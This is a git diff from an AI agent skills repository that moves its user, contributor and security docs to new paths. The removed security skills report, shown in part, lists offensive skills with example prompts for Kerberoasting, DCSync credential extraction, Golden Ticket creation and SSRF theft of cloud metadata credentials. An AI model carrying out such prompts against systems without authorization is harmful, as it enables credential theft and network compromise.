-## 🔒 Security & Trust (V4 Update)
-
-### What do the Risk Labels mean?
-
-We classify skills so you know what you're running:
-
-- ⚪ **Safe (White/Blue)**: Read-only, planning, or benign skills.
-- 🔴 **Risk (Red)**: Skills that modify files (delete), use network scanners, or perform destructive actions. **Use with caution.**
-- 🟣 **Official (Purple)**: Maintained by trusted vendors (Anthropic, DeepMind, etc.).
-
-### Can these skills hack my computer?
-
-**No.** Skills are text files. However, they _instruct_ the AI to run commands. If a skill says "delete all files", a compliant AI might try to do it.
-_Always check the Risk label and review the code._
-
----
-
-## 📦 Installation & Setup
-
-### Where should I install the skills?
-
-The universal path that works with most tools is `.agent/skills/`.
-
-**Using npx:** `npx antigravity-awesome-skills` (or `npx github:sickn33/antigravity-awesome-skills` if you get a 404).
-
-**Using git clone:**
-
-```bash
-git clone https://github.com/sickn33/antigravity-awesome-skills.git .agent/skills
-```
-
-**Tool-specific paths:**
-
-- Claude Code: `.claude/skills/`
-- Gemini CLI: `.gemini/skills/`
-- Codex CLI: `.codex/skills/`
-- Cursor: `.cursor/skills/` or project root
-
-### Does this work with Windows?
-
-**Yes**, but some "Official" skills use **symlinks** which Windows handles poorly by default.
-Run git with:
-
-```bash
-git clone -c core.symlinks=true https://github.com/sickn33/antigravity-awesome-skills.git .agent/skills
-```
-
-Or enable "Developer Mode" in Windows Settings.
-
-### How do I update skills?
-
-Navigate to your skills directory and pull the latest changes:
-
-```bash
-cd .agent/skills
-git pull origin main
-```
-
----
-
-## 🛠️ Using Skills
-
-> **💡 For a complete guide with examples, see [USAGE.md](USAGE.md)**
-
-### How do I invoke a skill?
-
-Use the `@` symbol followed by the skill name:
-
-```bash
-@brainstorming help me design a todo app
-```
-
-### Can I use multiple skills at once?
-
-**Yes!** You can invoke multiple skills:
-
-```bash
-@brainstorming help me design this, then use @writing-plans to create a task list.
-```
-
-### How do I know which skill to use?
-
-1. **Browse the catalog**: Check the [Skill Catalog](../CATALOG.md).
-2. **Search**: `ls skills/ | grep "keyword"`
-3. **Ask your AI**: "What skills do you have for testing?"
-
----
-
-## 🏗️ Troubleshooting
-
-### My AI assistant doesn't recognize skills
-
-**Possible causes:**
-
-1. **Wrong installation path**: Check your tool's docs. Try `.agent/skills/`.
-2. **Restart Needed**: Restart your AI/IDE after installing.
-3. **Typos**: Did you type `@brain-storming` instead of `@brainstorming`?
-
-### A skill gives incorrect or outdated advice
-
-Please [Open an issue](https://github.com/sickn33/antigravity-awesome-skills/issues)!
-Include:
-
-- Which skill
-- What went wrong
-- What should happen instead
-
----
-
-## 🤝 Contribution
-
-### I'm new to open source. Can I contribute?
-
-**Absolutely!** We welcome beginners.
-
-- Fix typos
-- Add examples
-- Improve docs
- Check out [CONTRIBUTING.md](../CONTRIBUTING.md) for instructions.
-
-### My PR failed "Quality Bar" check. Why?
-
-V4 introduces automated quality control. Your skill might be missing:
-
-1. A valid `description`.
-2. Usage examples.
- Run `python3 scripts/validate_skills.py` locally to check before you push.
-
-### Can I update an "Official" skill?
-
-**No.** Official skills (in `skills/official/`) are mirrored from vendors. Open an issue instead.
-
----
-
-## 💡 Pro Tips
-
-- Start with `@brainstorming` before building anything new
-- Use `@systematic-debugging` when stuck on bugs
-- Try `@test-driven-development` for better code quality
-- Explore `@skill-creator` to make your own skills
-
-**Still confused?** [Open a discussion](https://github.com/sickn33/antigravity-awesome-skills/discussions) and we'll help you out! 🙌
+This document moved to [`users/faq.md`](users/faq.md).
diff --git a/docs/GETTING_STARTED.md b/docs/GETTING_STARTED.md
index 222227e4..e6e878e7 100644
--- a/docs/GETTING_STARTED.md
+++ b/docs/GETTING_STARTED.md
@@ -1,142 +1,3 @@
-# Getting Started with Antigravity Awesome Skills (V7.0.0)
+# Getting Started
-**New here? This guide will help you supercharge your AI Agent in 5 minutes.**
-
-> **💡 Confused about what to do after installation?** Check out the [**Complete Usage Guide**](USAGE.md) for detailed explanations and examples!
-
----
-
-## 🤔 What Are "Skills"?
-
-AI Agents (like **Claude Code**, **Gemini**, **Cursor**) are smart, but they lack specific knowledge about your tools.
-**Skills** are specialized instruction manuals (markdown files) that teach your AI how to perform specific tasks perfectly, every time.
-
-**Analogy:** Your AI is a brilliant intern. **Skills** are the SOPs (Standard Operating Procedures) that make them a Senior Engineer.
-
----
-
-## ⚡️ Quick Start: The "Starter Packs"
-
-Don't panic about the 1,200+ skills. You don't need them all at once.
-We have curated **Starter Packs** to get you running immediately.
-
-You **install the full repo once** (npx or clone); Starter Packs are curated lists to help you **pick which skills to use** by role (e.g. Web Wizard, Hacker Pack)—they are not a different way to install.
-
-### 1. Install the Repo
-
-**Option A — npx (easiest):**
-
-```bash
-npx antigravity-awesome-skills
-```
-
-This clones to `~/.gemini/antigravity/skills` by default. Use `--cursor`, `--claude`, `--gemini`, `--codex`, or `--kiro` to install for a specific tool, or `--path ` for a custom location. Run `npx antigravity-awesome-skills --help` for details.
-
-If you see a 404 error, use: `npx github:sickn33/antigravity-awesome-skills`
-
-**Option B — git clone:**
-
-```bash
-# Universal (works for most agents)
-git clone https://github.com/sickn33/antigravity-awesome-skills.git .agent/skills
-```
-
-### 2. Pick Your Persona
-
-Find the bundle that matches your role (see [BUNDLES.md](BUNDLES.md)):
-
-| Persona | Bundle Name | What's Inside? |
-| :-------------------- | :------------- | :------------------------------------------------ |
-| **Web Developer** | `Web Wizard` | React Patterns, Tailwind mastery, Frontend Design |
-| **Security Engineer** | `Hacker Pack` | OWASP, Metasploit, Pentest Methodology |
-| **Manager / PM** | `Product Pack` | Brainstorming, Planning, SEO, Strategy |
-| **Everything** | `Essentials` | Clean Code, Planning, Validation (The Basics) |
-
----
-
-## 🧭 Bundles vs Workflows
-
-Bundles and workflows solve different problems:
-
-- **Bundles** = curated sets by role (what to pick).
-- **Workflows** = step-by-step playbooks (how to execute).
-
-Start with bundles in [BUNDLES.md](BUNDLES.md), then run a workflow from [WORKFLOWS.md](WORKFLOWS.md) when you need guided execution.
-
-Example:
-
-> "Use **@antigravity-workflows** and run `ship-saas-mvp` for my project idea."
-
----
-
-## 🚀 How to Use a Skill
-
-Once installed, just talk to your AI naturally.
-
-### Example 1: Planning a Feature (**Essentials**)
-
-> "Use **@brainstorming** to help me design a new login flow."
-
-**What happens:** The AI loads the brainstorming skill, asks you structured questions, and produces a professional spec.
-
-### Example 2: Checking Your Code (**Web Wizard**)
-
-> "Run **@lint-and-validate** on this file and fix errors."
-
-**What happens:** The AI follows strict linting rules defined in the skill to clean your code.
-
-### Example 3: Security Audit (**Hacker Pack**)
-
-> "Use **@api-security-best-practices** to review my API endpoints."
-
-**What happens:** The AI audits your code against OWASP standards.
-
----
-
-## 🔌 Supported Tools
-
-| Tool | Status | Path |
-| :-------------- | :-------------- | :-------------------------------------------------------------------- |
-| **Claude Code** | ✅ Full Support | `.claude/skills/` |
-| **Gemini CLI** | ✅ Full Support | `.gemini/skills/` |
-| **Codex CLI** | ✅ Full Support | `.codex/skills/` |
-| **Kiro CLI** | ✅ Full Support | Global: `~/.kiro/skills/` · Workspace: `.kiro/skills/` |
-| **Kiro IDE** | ✅ Full Support | Global: `~/.kiro/skills/` · Workspace: `.kiro/skills/` |
-| **Antigravity** | ✅ Native | Global: `~/.gemini/antigravity/skills/` · Workspace: `.agent/skills/` |
-| **Cursor** | ✅ Native | `.cursor/skills/` |
-| **OpenCode** | ✅ Full Support | `.agents/skills/` |
-| **AdaL CLI** | ✅ Full Support | `.adal/skills/` |
-| **Copilot** | ⚠️ Text Only | Manual copy-paste |
-
----
-
-## 🛡️ Trust & Safety (New in V4)
-
-We classify skills so you know what you're running:
-
-- 🟣 **Official**: Maintained by Anthropic/Google/Vendors (High Trust).
-- 🔵 **Safe**: Community skills that are non-destructive (Read-only/Planning).
-- 🔴 **Risk**: Skills that modify systems or perform security tests (Authorized Use Only).
-
-_Check the [Skill Catalog](../CATALOG.md) for the full list._
-
----
-
-## ❓ FAQ
-
-**Q: Do I need to install all 1006+ skills?**
-A: You clone the whole repo once; your AI only _reads_ the skills you invoke (or that are relevant), so it stays lightweight. **Starter Packs** in [BUNDLES.md](BUNDLES.md) are curated lists to help you discover the right skills for your role—they don't change how you install.
-
-**Q: Can I make my own skills?**
-A: Yes! Use the **@skill-creator** skill to build your own.
-
-**Q: Is this free?**
-A: Yes, MIT License. Open Source forever.
-
----
-
-## ⏭️ Next Steps
-
-1. [Browse the Bundles](BUNDLES.md)
-2. [See Real-World Examples](EXAMPLES.md)
-3. [Contribute a Skill](../CONTRIBUTING.md)
+This document moved to [`users/getting-started.md`](users/getting-started.md).
diff --git a/docs/KIRO_INTEGRATION.md b/docs/KIRO_INTEGRATION.md
index c6608b3e..df008a13 100644
--- a/docs/KIRO_INTEGRATION.md
+++ b/docs/KIRO_INTEGRATION.md
@@ -1,304 +1,3 @@
-# Kiro CLI Integration Guide
+# Kiro Integration
-## Overview
-
-This guide explains how to use Antigravity Awesome Skills with **Kiro CLI**, AWS's agentic AI-powered coding assistant.
-
-## What is Kiro?
-
-Kiro is AWS's agentic AI IDE that combines:
-
-- **Autonomous coding agents** that work independently for extended periods
-- **Context-aware assistance** with deep understanding of your codebase
-- **AWS service integration** with native support for CDK, SAM, and Terraform
-- **MCP (Model Context Protocol)** for secure external API and database calls
-- **Spec-driven development** that turns natural language into structured specifications
-
-## Why Use Skills with Kiro?
-
-Kiro's agentic capabilities are enhanced by skills that provide:
-
-- **Domain expertise** across 954+ specialized areas
-- **Best practices** from Anthropic, OpenAI, Google, Microsoft, and AWS
-- **Workflow automation** for common development tasks
-- **AWS-specific patterns** for serverless, infrastructure, and cloud architecture
-
-## Installation
-
-### Quick Install
-
-```bash
-# Install to Kiro's default skills directory
-npx antigravity-awesome-skills --kiro
-```
-
-This installs skills to `~/.kiro/skills/`
-
-### Manual Installation
-
-```bash
-# Clone directly to Kiro's skills directory
-git clone https://github.com/sickn33/antigravity-awesome-skills.git ~/.kiro/skills
-```
-
-### Verification
-
-```bash
-# Verify installation
-test -d ~/.kiro/skills && echo "✓ Skills installed successfully"
-ls ~/.kiro/skills/skills/ | head -10
-```
-
-## Using Skills with Kiro
-
-### Basic Invocation
-
-Kiro uses natural language prompts to invoke skills:
-
-```
-Use the @brainstorming skill to help me design a serverless API
-```
-
-```
-Apply @aws-serverless patterns to this Lambda function
-```
-
-```
-Run @security-audit on my CDK stack
-```
-
-### Recommended Skills for Kiro Users
-
-#### AWS & Cloud Infrastructure
-
-- `@aws-serverless` - Serverless architecture patterns
-- `@aws-cdk` - AWS CDK best practices
-- `@aws-sam` - SAM template patterns
-- `@terraform-expert` - Terraform infrastructure as code
-- `@docker-expert` - Container optimization
-- `@kubernetes-expert` - K8s deployment patterns
-
-#### Architecture & Design
-
-- `@architecture` - System design and ADRs
-- `@c4-context` - C4 model diagrams
-- `@senior-architect` - Scalable architecture patterns
-- `@microservices-patterns` - Microservices design
-
-#### Security
-
-- `@api-security-best-practices` - API security hardening
-- `@vulnerability-scanner` - Security vulnerability detection
-- `@owasp-top-10` - OWASP security patterns
-- `@aws-security-best-practices` - AWS security configuration
-
-#### Development
-
-- `@typescript-expert` - TypeScript best practices
-- `@python-patterns` - Python design patterns
-- `@react-patterns` - React component patterns
-- `@test-driven-development` - TDD workflows
-
-#### DevOps & Automation
-
-- `@ci-cd-pipeline` - CI/CD automation
-- `@github-actions` - GitHub Actions workflows
-- `@monitoring-observability` - Observability patterns
-- `@incident-response` - Incident management
-
-## Kiro-Specific Workflows
-
-### 1. Serverless Application Development
-
-```
-1. Use @brainstorming to design the application architecture
-2. Apply @aws-serverless to create Lambda functions
-3. Use @aws-cdk to generate infrastructure code
-4. Run @test-driven-development to add tests
-5. Apply @ci-cd-pipeline to set up deployment
-```
-
-### 2. Infrastructure as Code
-
-```
-1. Use @architecture to document the system design
-2. Apply @terraform-expert to write Terraform modules
-3. Run @security-audit to check for vulnerabilities
-4. Use @documentation to generate README and runbooks
-```
-
-### 3. API Development
-
-```
-1. Use @api-design to plan endpoints
-2. Apply @typescript-expert for implementation
-3. Run @api-security-best-practices for hardening
-4. Use @openapi-spec to generate documentation
-```
-
-## Advanced Features
-
-### MCP Integration
-
-Kiro's MCP support allows skills to:
-
-- Call external APIs securely
-- Query databases with context
-- Integrate with AWS services
-- Access documentation in real-time
-
-Skills that leverage MCP:
-
-- `@rag-engineer` - RAG system implementation
-- `@langgraph` - Agent workflow orchestration
-- `@prompt-engineer` - LLM prompt optimization
-
-### Autonomous Operation
-
-Kiro can work independently for extended periods. Use skills to guide long-running tasks:
-
-```
-Use @systematic-debugging to investigate and fix all TypeScript errors in the codebase,
-then apply @test-driven-development to add missing tests, and finally run @documentation
-to update all README files.
-```
-
-### Context-Aware Assistance
-
-Kiro maintains deep context. Reference multiple skills in complex workflows:
-
-```
-I'm building a SaaS application. Use @brainstorming for the MVP plan,
-@aws-serverless for the backend, @react-patterns for the frontend,
-@stripe-integration for payments, and @security-audit for hardening.
-```
-
-## Bundles for Kiro Users
-
-Pre-curated skill collections optimized for common Kiro use cases:
-
-### AWS Developer Bundle
-
-- `@aws-serverless`
-- `@aws-cdk`
-- `@aws-sam`
-- `@lambda-best-practices`
-- `@dynamodb-patterns`
-- `@api-gateway-patterns`
-
-### Full-Stack AWS Bundle
-
-- `@aws-serverless`
-- `@react-patterns`
-- `@typescript-expert`
-- `@api-design`
-- `@test-driven-development`
-- `@ci-cd-pipeline`
-
-### DevOps & Infrastructure Bundle
-
-- `@terraform-expert`
-- `@docker-expert`
-- `@kubernetes-expert`
-- `@monitoring-observability`
-- `@incident-response`
-- `@security-audit`
-
-See [BUNDLES.md](BUNDLES.md) for complete bundle listings.
-
-## Troubleshooting
-
-### Skills Not Loading
-
-```bash
-# Check installation path
-ls -la ~/.kiro/skills/
-
-# Reinstall if needed
-rm -rf ~/.kiro/skills
-npx antigravity-awesome-skills --kiro
-```
-
-### Skill Not Found
-
-Ensure you're using the correct skill name:
-
-```bash
-# List all available skills
-ls ~/.kiro/skills/skills/
-```
-
-### Permission Issues
-
-```bash
-# Fix permissions
-chmod -R 755 ~/.kiro/skills/
-```
-
-## Best Practices
-
-1. **Start with bundles** - Use pre-curated collections for your role
-2. **Combine skills** - Reference multiple skills in complex tasks
-3. **Be specific** - Clearly state which skill to use and what to do
-4. **Iterate** - Let Kiro work autonomously, then refine with additional skills
-5. **Document** - Use `@documentation` to keep your codebase well-documented
-
-## Examples
-
-### Example 1: Build a Serverless API
-
-```
-I need to build a REST API for a todo application using AWS Lambda and DynamoDB.
-
-Use @brainstorming to design the architecture, then apply @aws-serverless
-to implement the Lambda functions, @dynamodb-patterns for data modeling,
-and @api-security-best-practices for security hardening.
-
-Generate the infrastructure using @aws-cdk and add tests with @test-driven-development.
-```
-
-### Example 2: Migrate to Microservices
-
-```
-I want to break down this monolithic application into microservices.
-
-Use @architecture to create an ADR for the migration strategy,
-apply @microservices-patterns for service boundaries,
-@docker-expert for containerization, and @kubernetes-expert for orchestration.
-
-Document the migration plan with @documentation.
-```
-
-### Example 3: Security Audit
-
-```
-Perform a comprehensive security audit of this application.
-
-Use @security-audit to scan for vulnerabilities, @owasp-top-10 to check
-for common issues, @api-security-best-practices for API hardening,
-and @aws-security-best-practices for cloud configuration.
-
-Generate a report with findings and remediation steps.
-```
-
-## Resources
-
-- [Kiro Official Documentation](https://kiro.dev)
-- [AWS Blog: Transform DevOps with Kiro](https://aws.amazon.com/blogs/publicsector/transform-devops-practice-with-kiro-ai-powered-agents/)
-- [Complete Skills Catalog](../CATALOG.md)
-- [Usage Guide](USAGE.md)
-- [Workflow Examples](WORKFLOWS.md)
-
-## Contributing
-
-Found a Kiro-specific use case or workflow? Contribute to this guide:
-
-1. Fork the repository
-2. Add your examples to this file
-3. Submit a pull request
-
-## Support
-
-- **Issues**: [GitHub Issues](https://github.com/sickn33/antigravity-awesome-skills/issues)
-- **Discussions**: [GitHub Discussions](https://github.com/sickn33/antigravity-awesome-skills/discussions)
-- **Community**: [Community Guidelines](COMMUNITY_GUIDELINES.md)
+This document moved to [`users/kiro-integration.md`](users/kiro-integration.md).
diff --git a/docs/QUALITY_BAR.md b/docs/QUALITY_BAR.md
index dbda8c53..5154dfad 100644
--- a/docs/QUALITY_BAR.md
+++ b/docs/QUALITY_BAR.md
@@ -1,66 +1,3 @@
-# 🏆 Quality Bar & Validation Standards
+# Quality Bar
-To transform **Antigravity Awesome Skills** from a collection of scripts into a trusted platform, every skill must meet a specific standard of quality and safety.
-
-## The "Validated" Badge ✅
-
-A skill earns the "Validated" badge only if it passes these **5 automated checks**:
-
-### 1. Metadata Integrity
-
-The `SKILL.md` frontmatter must be valid YAML and contain:
-
-- `name`: Kebab-case, matches folder name.
-- `description`: Under 200 chars, clear value prop.
-- `risk`: One of `[none, safe, critical, offensive, unknown]`. Use `unknown` only for legacy or unclassified skills; prefer a concrete level for new skills.
-- `source`: URL to original source (or "self" if original).
-
-### 2. Clear Triggers ("When to use")
-
-The skill MUST have a section explicitly stating when to trigger it.
-
-- **Good**: "Use when the user asks to debug a React component."
-- **Bad**: "This skill helps you with code."
-Accepted headings: `## When to Use`, `## Use this skill when`, `## When to Use This Skill`.
-
-### 3. Safety & Risk Classification
-
-Every skill must declare its risk level:
-
-- 🟢 **none**: Pure text/reasoning (e.g., Brainstorming).
-- 🔵 **safe**: Reads files, runs safe commands (e.g., Linter).
-- 🟠 **critical**: Modifies state, deletes files, pushes to prod (e.g., Git Push).
-- 🔴 **offensive**: Pentesting/Red Team tools. **MUST** have "Authorized Use Only" warning.
-
-### 4. Copy-Pasteable Examples
-
-At least one code block or interaction example that a user (or agent) can immediately use.
-
-### 5. Explicit Limitations
-
-A list of known edge cases or things the skill _cannot_ do.
-
-- _Example_: "Does not work on Windows without WSL."
-
----
-
-## Support Levels
-
-We also categorize skills by who maintains them:
-
-| Level | Badge | Meaning |
-| :------------ | :---- | :-------------------------------------------------- |
-| **Official** | 🟣 | Maintained by the core team. High reliability. |
-| **Community** | ⚪ | Contributed by the ecosystem. Best effort support. |
-| **Verified** | ✨ | Community skill that has passed deep manual review. |
-
----
-
-## How to Validate Your Skill
-
-The canonical validator is `scripts/validate_skills.py`. Run `npm run validate` (or `npm run validate:strict`) before submitting a PR:
-
-```bash
-npm run validate # soft mode (warnings only)
-npm run validate:strict # strict mode (CI uses this)
-```
+This document moved to [`contributors/quality-bar.md`](contributors/quality-bar.md).
diff --git a/docs/README.md b/docs/README.md
new file mode 100644
index 00000000..e4ddb4c5
--- /dev/null
+++ b/docs/README.md
@@ -0,0 +1,38 @@
+# Documentation Index
+
+## Users
+
+- [`users/getting-started.md`](users/getting-started.md)
+- [`users/usage.md`](users/usage.md)
+- [`users/faq.md`](users/faq.md)
+- [`users/bundles.md`](users/bundles.md)
+- [`users/workflows.md`](users/workflows.md)
+- [`users/kiro-integration.md`](users/kiro-integration.md)
+- [`users/visual-guide.md`](users/visual-guide.md)
+
+## Contributors
+
+- [`../CONTRIBUTING.md`](../CONTRIBUTING.md)
+- [`contributors/skill-template.md`](contributors/skill-template.md)
+- [`contributors/skill-anatomy.md`](contributors/skill-anatomy.md)
+- [`contributors/examples.md`](contributors/examples.md)
+- [`contributors/quality-bar.md`](contributors/quality-bar.md)
+- [`contributors/security-guardrails.md`](contributors/security-guardrails.md)
+- [`contributors/community-guidelines.md`](contributors/community-guidelines.md)
+
+## Maintainers
+
+- [`maintainers/release-process.md`](maintainers/release-process.md)
+- [`maintainers/rollback-procedure.md`](maintainers/rollback-procedure.md)
+- [`maintainers/audit.md`](maintainers/audit.md)
+- [`maintainers/ci-drift-fix.md`](maintainers/ci-drift-fix.md)
+- [`maintainers/skills-update-guide.md`](maintainers/skills-update-guide.md)
+- [`maintainers/categorization-implementation.md`](maintainers/categorization-implementation.md)
+- [`maintainers/date-tracking-implementation.md`](maintainers/date-tracking-implementation.md)
+- [`maintainers/skills-date-tracking.md`](maintainers/skills-date-tracking.md)
+
+## Sources
+
+- [`sources/sources.md`](sources/sources.md)
+- [`sources/LICENSE-MICROSOFT`](sources/LICENSE-MICROSOFT)
+- [`sources/microsoft-skills-attribution.json`](sources/microsoft-skills-attribution.json)
diff --git a/docs/SECURITY_GUARDRAILS.md b/docs/SECURITY_GUARDRAILS.md
index feb26cf3..f63037b5 100644
--- a/docs/SECURITY_GUARDRAILS.md
+++ b/docs/SECURITY_GUARDRAILS.md
@@ -1,51 +1,3 @@
-# 🛡️ Security Guardrails & Policy
+# Security Guardrails
-Antigravity Awesome Skills is a powerful toolkit. With great power comes great responsibility. This document defines the **Rules of Engagement** for all security and offensive capabilities in this repository.
-
-## 🔴 Offensive Skills Policy (The "Red Line")
-
-**What is an Offensive Skill?**
-Any skill designed to penetrate, exploit, disrupt, or simulate attacks against systems.
-_Examples: Pentesting, SQL Injection, Phishing Simulation, Red Teaming._
-
-### 1. The "Authorized Use Only" Disclaimer
-
-Every offensive skill **MUST** begin with this exact disclaimer in its `SKILL.md`:
-
-> **⚠️ AUTHORIZED USE ONLY**
-> This skill is for educational purposes or authorized security assessments only.
-> You must have explicit, written permission from the system owner before using this tool.
-> Misuse of this tool is illegal and strictly prohibited.
-
-### 2. Mandatory User Confirmation
-
-Offensive skills must **NEVER** run fully autonomously.
-
-- **Requirement**: The skill description/instructions must explicitly tell the agent to _ask for user confirmation_ before executing any exploit or attack command.
-- **Agent Instruction**: "Ask the user to verify the target URL/IP before running."
-
-### 3. Safe by Design
-
-- **No Weaponized Payloads**: Skills should not include active malware, ransomware, or non-educational exploits.
-- **Sandbox Recommended**: Instructions should recommend running in a contained environment (Docker/VM).
-
----
-
-## 🔵 Defensive Skills Policy
-
-**What is a Defensive Skill?**
-Tools for hardening, auditing, monitoring, or protecting systems.
-_Examples: Linting, Log Analysis, Configuration Auditing._
-
-- **Data Privacy**: Defensive skills must not upload data to 3rd party servers without explicit user consent.
-- **Non-Destructive**: Audits should be read-only by default.
-
----
-
-## ⚖️ Legal Disclaimer
-
-By using this repository, you agree that:
-
-1. You are responsible for your own actions.
-2. The authors and contributors are not liable for any damage caused by these tools.
-3. You will comply with all local, state, and federal laws regarding cybersecurity.
+This document moved to [`contributors/security-guardrails.md`](contributors/security-guardrails.md).
diff --git a/docs/SEC_SKILLS.md b/docs/SEC_SKILLS.md
index 431eafd0..a5c72f4a 100644
--- a/docs/SEC_SKILLS.md
+++ b/docs/SEC_SKILLS.md
@@ -1,1722 +1,3 @@
-# Security-Related Skills Report
-
-Total Security Skills Found: 128
-
-This report lists all security-related skills found in the `antigravity-awesome-skills` repository, including their descriptions, use cases, and example prompts.
-
-## accessibility-compliance-accessibility-audit (`accessibility-compliance-accessibility-audit`)
-
-**Description:** You are an accessibility expert specializing in WCAG compliance, inclusive design, and assistive technology compatibility. Conduct audits, identify barriers, and provide remediation guidance.
-
-### Use Cases
-- Auditing web or mobile experiences for WCAG compliance
-- Identifying accessibility barriers and remediation priorities
-- Establishing ongoing accessibility testing practices
-- Preparing compliance evidence for stakeholders
-
-### Example Prompts
-- "Audit this login page for WCAG 2.1 Level AA compliance and list all violations."
-- "Perform a manual screen reader check of the checkout flow and document focus order issues."
-- "Provide a remediation plan for resolving contrast and keyboard navigation errors found in the audit."
-
----
-
-## Active Directory Attacks (`active-directory-attacks`)
-
-**Description:** This skill should be used when the user asks to "attack Active Directory", "exploit AD", "Kerberoasting", "DCSync", "pass-the-hash", "BloodHound enumeration", "Golden Ticket", "Silver Ticket", "AS-REP roasting", "NTLM relay", or needs guidance on Windows domain penetration testing.
-
-### Use Cases
-- Executing Active Directory reconnaissance and attack path visualization
-- Performing Kerberoasting and AS-REP roasting to harvest credentials
-- Simulating lateral movement and privilege escalation in Windows domains
-- Testing for critical AD vulnerabilities like ZeroLogon or PrintNightmare
-
-### Example Prompts
-- "Perform a BloodHound collection in the domain and identify the shortest path to Domain Admin."
-- "GetUserSPNs.py against the target DC and extract hashes for offline cracking."
-- "Execute a DCSync attack to extract the krbtgt hash for a Golden Ticket generation."
-- "Test this Domain Controller for the ZeroLogon vulnerability and document findings."
-
-
----
-
-## angular-migration (`angular-migration`)
-
-**Description:** Migrate from AngularJS to Angular using hybrid mode, incremental component rewriting, and dependency injection updates. Use when upgrading AngularJS applications, planning framework migrations, or modernizing legacy Angular code.
-
-### Use Cases
-- Migrating AngularJS (1.x) applications to Angular (2+)
-- Running hybrid AngularJS/Angular applications using ngUpgrade
-- Converting directives to components and modernizing DI
-
-### Example Prompts
-- "Set up a hybrid Angular/AngularJS application bootstrapping both frameworks."
-- "Convert this AngularJS directive into a modern Angular component."
-- "Downgrade this new Angular service so it can be used in an existing AngularJS controller."
-
----
-
-## anti-reversing-techniques (`anti-reversing-techniques`)
-
-**Description:** Understand anti-reversing, obfuscation, and protection techniques encountered during software analysis. Use when analyzing protected binaries, bypassing anti-debugging for authorized analysis, or understanding software protection mechanisms.
-
-### Use Cases
-Not specified
-
-### Example Prompts
-Not specified
-
----
-
-## API Fuzzing for Bug Bounty (`api-fuzzing-bug-bounty`)
-
-**Description:** This skill should be used when the user asks to "test API security", "fuzz APIs", "find IDOR vulnerabilities", "test REST API", "test GraphQL", "API penetration testing", "bug bounty API testing", or needs guidance on API security assessment techniques.
-
-### Use Cases
-- Discovering API endpoints and fuzzing for vulnerabilities
-- Testing for IDOR, injection, and auth bypass in REST/GraphQL/SOAP APIs
-- Performing security assessments during bug bounty hunting
-
-### Example Prompts
-- "Use Kiterunner to scan for hidden API endpoints on this target domain."
-- "Test these GraphQL queries for introspection vulnerabilities and nested query DoS."
-- "Attempt an IDOR bypass by wrapping the user ID in an array or using parameter pollution."
-
----
-
-## api-patterns (`api-patterns`)
-
-**Description:** API design principles and decision-making. REST vs GraphQL vs tRPC selection, response formats, versioning, pagination.
-
-### Use Cases
-This skill is applicable to execute the workflow or actions described in the overview.
-
-### Example Prompts
-Not specified
-
----
-
-## api-security-best-practices (`api-security-best-practices`)
-
-**Description:** Implement secure API design patterns including authentication, authorization, input validation, rate limiting, and protection against common API vulnerabilities
-
-### Use Cases
-- Use when designing new API endpoints
-- Use when securing existing APIs
-- Use when implementing authentication and authorization
-- Use when protecting against API attacks (injection, DDoS, etc.)
-- Use when conducting API security reviews
-- Use when preparing for security audits
-- Use when implementing rate limiting and throttling
-- Use when handling sensitive data in APIs
-
-### Use Cases
-- Implementing secure API design patterns (auth, validation, rate limiting)
-- Protecting against injection, DDoS, and information disclosure
-- Conducting API security reviews and audits
-
-### Example Prompts
-- "Implement secure user authentication with JWT and refresh token rotation."
-- "Review this API endpoint for injection vulnerabilities and implement proper validation."
-- "Set up comprehensive security headers and CSP for this web application."
-
----
-
-## attack-tree-construction (`attack-tree-construction`)
-
-**Description:** Build comprehensive attack trees to visualize threat paths. Use when mapping attack scenarios, identifying defense gaps, or communicating security risks to stakeholders.
-
-### Use Cases
-Not specified
-
-### Example Prompts
-Not specified
-
----
-
-## auth-implementation-patterns (`auth-implementation-patterns`)
-
-**Description:** Master authentication and authorization patterns including JWT, OAuth2, session management, and RBAC to build secure, scalable access control systems. Use when implementing auth systems, securing APIs, or debugging security issues.
-
-### Use Cases
-- Implementing user authentication systems (JWT, OAuth2, Session)
-- Securing REST or GraphQL APIs with industry-standard patterns
-- Designing and debugging session management and RBAC systems
-
-### Example Prompts
-- "Implement secure user authentication with JWT and refresh token rotation."
-- "Design an RBAC system for a multi-tenant SaaS application."
-- "Debug an authentication flow that is failing to properly validate OAuth2 tokens."
-
----
-
-## AWS Penetration Testing (`aws-penetration-testing`)
-
-**Description:** This skill should be used when the user asks to "pentest AWS", "test AWS security", "enumerate IAM", "exploit cloud infrastructure", "AWS privilege escalation", "S3 bucket testing", "metadata SSRF", "Lambda exploitation", or needs guidance on Amazon Web Services security assessment.
-
-### Use Cases
-- Pentesting AWS cloud environments (IAM, S3, EC2, Lambda)
-- Enumerating IAM permissions and identifying privesc paths
-- Exploiting metadata SSRF and S3 bucket misconfigurations
-
-### Example Prompts
-- "Enumerate IAM permissions for these AWS access keys and find privilege escalation paths."
-- "Extract temporary credentials from the EC2 metadata endpoint via an SSRF vulnerability."
-- "Scan for public S3 buckets associated with this organization and check for sensitive data."
-
----
-
-## backend-dev-guidelines (`backend-dev-guidelines`)
-
-**Description:** Opinionated backend development standards for Node.js + Express + TypeScript microservices. Covers layered architecture, BaseController pattern, dependency injection, Prisma repositories, Zod validation, unifiedConfig, Sentry error tracking, async safety, and testing discipline.
-
-### Use Cases
-This skill is applicable to execute the workflow or actions described in the overview.
-
-### Example Prompts
-Not specified
-
----
-
-## backend-security-coder (`backend-security-coder`)
-
-**Description:** Expert in secure backend coding practices specializing in input validation, authentication, and API security. Use PROACTIVELY for backend security implementations or security code reviews.
-
-### Use Cases
-- **Use this agent for**: Hands-on backend security coding, API security implementation, database security configuration, authentication system coding, vulnerability fixes
-- **Use security-auditor for**: High-level security audits, compliance assessments, DevSecOps pipeline design, threat modeling, security architecture reviews, penetration testing planning
-- **Key difference**: This agent focuses on writing secure backend code, while security-auditor focuses on auditing and assessing security posture
-
-### Example Prompts
-- "Implement secure user authentication with JWT and refresh token rotation"
-- "Review this API endpoint for injection vulnerabilities and implement proper validation"
-- "Configure CSRF protection for cookie-based authentication system"
-- "Implement secure database queries with parameterization and access controls"
-- "Set up comprehensive security headers and CSP for web application"
-- "Create secure error handling that doesn't leak sensitive information"
-- "Implement rate limiting and DDoS protection for public API endpoints"
-- "Design secure external service integration with allowlist validation"
-
----
-
-## bash-defensive-patterns (`bash-defensive-patterns`)
-
-**Description:** Master defensive Bash programming techniques for production-grade scripts. Use when writing robust shell scripts, CI/CD pipelines, or system utilities requiring fault tolerance and safety.
-
-### Use Cases
-Not specified
-
-### Example Prompts
-Not specified
-
----
-
-## bash-pro (`bash-pro`)
-
